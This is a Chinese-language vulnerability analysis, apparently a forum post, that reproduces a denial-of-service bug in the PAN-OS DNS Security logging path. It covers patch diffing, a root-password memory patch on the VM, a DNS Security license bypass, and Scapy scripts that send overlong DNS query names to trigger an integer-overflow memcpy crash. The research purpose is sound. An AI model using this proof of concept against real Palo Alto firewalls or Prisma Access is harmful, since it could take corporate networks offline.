
前几天Palo Alto发布了一项漏洞通告[1],看漏洞信息是PAN-OS数据平面处理流量时产生DoS,其实之前PAN-OS也有过这样的DoS漏洞。但令笔者好奇的是,这次居然会影响Prisma Access,这款产品是Palo Alto公司实现零信任的关键组件,遂准备花些时间去做一下相关的复现。
从描述中可以看出这是一个由DNS安全检测产生的漏洞,并且官方明确表示只有开启DNS Security才会产生。但不幸的是,这个功能需要购买相关的DNS Security License才能激活,这个暂且不做讨论,后续会有绕过的办法。而且,还关注到最重要的一点

它需要开启DNS Security Logging,也就是说很大概率是因为某些log记录时出现了fault。
那么现在得到的信息有以下几个:
根据上面的影响版本,笔者这里选择了PAN-OS 10.2.9-h19和PAN-OS 10.2.9-h18进行diff,可以看到新版本也只修复这一个CVE

首先需要设置DNS Security相关配置,主要在Anti-Spyware Profile中设置,如下图,重点是log serverity,这个就是漏洞描述中log部分。

之后把这个用到策略上就可以

上述防火墙配置就完成了,当然还有一些网口配置这些都是最基础的,可以自行配置。
由于采用虚拟机,所以获取shell还是比较容易的,这里采用patch vm mem的方法。
具体操作如下:
将虚拟机挂起,会有一个后缀名为vmem的文件,之后需要将内存中的一部分内容替换。具体替换内容是将root改成空密码,这样CLI登录root的时候就不需要密码,并且拿到的是shell。
这里注意替换字节要一样,否在虚拟机就起不来了。最终效果如下图,之后改了root密码,就可以用远程22端口登录了。

首先需要找到处理数据平面的进程,从[2][3][4]可以得到PAN_OS各个进程的信息,虽然版本有点老,但一些关键进程还是没有改变的。

从图中可以看出,data plane的主要处理进程就是pan_task。在虚拟机中也可以找到相应的进程。

之后就可以直接进行diff了,这里用bindiff,也可以用Diaphora等diff工具,具体结果如下

看到有一个log函数改动较大,并且非常符合漏洞的描述,打开IDA,反汇编看一下

发现对内存操作进行较大改动,如果会产生dos,那么很大概率是计算size的时候出现了问题,但实际上旧版本size反汇编的结果很抽象,经过了一系列运算才得出一个结果,接下来就需要去逆向了。
首先需要触发这个流程。但前文提到DNS security需要license,这里发现这个DNS Security的开关会由pan_task
结构体中的一个数据影响。

在pan_task
中会通过cfg_data
获取相关DNS License。

默认没有license时,图中cloud_dns_license
的值为0,当图中cfg_data的cloud_dns_license
的值为1时,DNS Security将会开启,当我们发送一个解析恶意地址的DNS数据包就会拦截。
这里解析的域名选用Palo Alto的测试域名[5]test-grayware.testpanw.com
,构造数据包采用python
构造
最终我们可以在威胁中定位到相关dns包被拦截

之后在pan_task
中打函数断点pan_log_send_threat_log
也可以停下来,说明走进了正确流程。

从gdb调试中不难看到,filename
或者url
其实就是我们解析的域名,并且在后续内存操作中,也是对这两个变量操作的地方进行了patch
,那么考虑一下如果域名过长会不会导致crash。
跑完一轮之后发现并没有crash
,其实熟悉DNS协议的人可能一眼就看到了其中问题,当DNS域名过长时,实际的DNS数据包发送的数据并不是我们想要的域名。
这是我们发送的其中一个数据包

可以看到实际发送的域名并不是我们想要发送的域名。
这里补充一些关于DNS协议的东西,DNS请求主要由DNS header和DNS Queries组成,其中重点关于DNS Queries,它主要包含以下几部分
所以按如下构造poc,那么产生的域名应该是足够长的。
最终导致了memcpy
溢出

那么问题来了,这个size是如何产生的?

断点打到000055555574F3DB
,发现rax=0也就是v39=0,实际上应该是filename_len+1

继续往上看发现v39 = 0xff + 1 = 0x100

但查看汇编时发现了不一样的东西

这里v39 = eax + 1 = 0xff + 1 = 0x100
,但在下一个汇编只是移动了al
,那么v39 = 0x00 = 0
,所以下面的size变成0 - 1 = 0xffffffff
也就顺理成章了,至此分析完毕。

所以这个漏洞本质上是由于整数溢出导致size计算错误而后续溢出。
在新版本中更新了size的大小为uint16

由于这个漏洞不仅会影响防火墙,还会影响Prisma Access,个人认为影响还是比较大的。毕竟Prisma Access是云上服务产品,如果一个公司使用该产品构建整个网络,那么通过这个漏洞就可以让云上产品直接崩溃,导致公司内网瘫痪。
此外我们可以发现以往的漏洞都是出现在管理口和VPN口,或许数据平面也是一个不错的攻击面?
Find:
root:x:0:0:root:
/root
:
/bin/bash
Replace:
root::0:0:root:
/root
:
//bin/bash
Find:
root:x:0:0:root:
/root
:
/bin/bash
Replace:
root::0:0:root:
/root
:
//bin/bash
from
scapy.
all
import
*
target_dns_server
=
"8.8.8.8"
dns_request
=
IP(dst
=
target_dns_server)
/
UDP(dport
=
53
, sport
=
RandShort())
/
DNS(
rd
=
1
,
qd
=
DNSQR(qname
=
"test-grayware.testpanw.com"
, qtype
=
"A"
)
)
send(dns_request)
from
scapy.
all
import
*
target_dns_server
=
"8.8.8.8"
dns_request
=
IP(dst
=
target_dns_server)
/
UDP(dport
=
53
, sport
=
RandShort())
/
DNS(
rd
=
1
,
qd
=
DNSQR(qname
=
"test-grayware.testpanw.com"
, qtype
=
"A"
)
)
send(dns_request)
from
scapy.
all
import
*
import
random
import
string
def
generate_random_string(i):
characters
=
string.ascii_letters
+
string.digits
random_string
=
''.join(random.choice(characters)
for
_
in
range
(i))
return
random_string
target_dns_server
=
"8.8.8.8"
for
i
in
range
(
0
,
2048
):
rand_str
=
generate_random_string(i)
+
".test-grayware.testpanw.com"
dns_request
=
IP(dst
=
target_dns_server)
/
UDP(dport
=
53
, sport
=
RandShort())
/
DNS(
rd
=
1
,
qd
=
DNSQR(qname
=
rand_str, qtype
=
"A"
)
)
send(dns_request)
print
(
"packet data:{}"
.
format
(rand_str))
from
scapy.
all
import
*
import
random
import
string
def
generate_random_string(i):
characters
=
string.ascii_letters
+
string.digits
random_string
=
''.join(random.choice(characters)
for
_
in
range
(i))
return
random_string
target_dns_server
=
"8.8.8.8"
for
i
in
range
(
0
,
2048
):
rand_str
=
generate_random_string(i)
+
".test-grayware.testpanw.com"
dns_request
=
IP(dst
=
target_dns_server)
/
UDP(dport
=
53
, sport
=
RandShort())
/
DNS(
rd
=
1
,
qd
=
DNSQR(qname
=
rand_str, qtype
=
"A"
)
)
[注意]看雪招聘,专注安全领域的专业人才平台!